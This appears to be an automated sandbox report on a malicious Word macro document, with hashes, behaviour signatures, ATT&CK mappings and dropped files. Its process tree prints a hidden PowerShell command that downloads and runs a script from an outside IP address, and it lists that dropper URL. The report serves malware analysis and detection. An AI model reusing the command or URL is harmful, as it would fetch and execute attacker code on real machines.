790027cf3ec0242e3f742bce2c5f3cfcbde6eae43f81699ff3269c081992308f

General

Target

application.docm
Size

56KB
MD5

747ced29fbaec695f118aa7d8a784b42
SHA1

14552ed94815d4a0bfb1d5d0cbd3cf02c4617974
SHA256

790027cf3ec0242e3f742bce2c5f3cfcbde6eae43f81699ff3269c081992308f
SHA512

e957dfc20f92c38442b7229c40a59a93553f7bad5de103d59bb1cf72c5001b2aee44b40e6c2d404862f9987b42429bdaf740d311da18347315dd2ae6acabf5dd
SSDEEP

768:p3qTmOR4D/HCrL3lH181IkLlJ3CsiJuCOYzAeBIWSNQ9HA2Gdfg7hePDI79QwiAO:pX04Cjp1PkpN9COY9I6wdf7cQwizKoWo

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://52.211.227.1/a

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4544	3516	powershell.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	4544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4544	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3516	WINWORD.EXE
3516	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4544	powershell.exe
4544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4544	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE
3516	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3516 wrote to memory of 4544	3516	WINWORD.EXE	86
PID 3516 wrote to memory of 4544	3516	WINWORD.EXE	86

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\application.docm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://52.211.227.1/a'))"
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD51EC.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dgbhwpf4.yra.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/3516-12-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-20-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-5-0x00007FF9B36B0000-0x00007FF9B36C0000-memory.dmp

Filesize
64KB

Download
memory/3516-6-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-7-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-9-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-8-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-13-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-14-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-16-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-17-0x00007FF9B0E30000-0x00007FF9B0E40000-memory.dmp

Filesize
64KB

Download
memory/3516-15-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-18-0x00007FF9B0E30000-0x00007FF9B0E40000-memory.dmp

Filesize
64KB

Download
memory/3516-2-0x00007FF9B36B0000-0x00007FF9B36C0000-memory.dmp

Filesize
64KB

Download
memory/3516-4-0x00007FF9F36CD000-0x00007FF9F36CE000-memory.dmp

Filesize
4KB

Download
memory/3516-11-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-38-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-23-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-22-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-21-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-19-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-37-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-10-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-3-0x00007FF9B36B0000-0x00007FF9B36C0000-memory.dmp

Filesize
64KB

Download
memory/3516-1-0x00007FF9B36B0000-0x00007FF9B36C0000-memory.dmp

Filesize
64KB

Download
memory/3516-56-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-57-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-60-0x00007FF9F3630000-0x00007FF9F3825000-memory.dmp

Filesize
2.0MB

Download
memory/3516-0-0x00007FF9B36B0000-0x00007FF9B36C0000-memory.dmp

Filesize
64KB

Download
memory/4544-50-0x000002505CDE0000-0x000002505CE02000-memory.dmp

Filesize
136KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads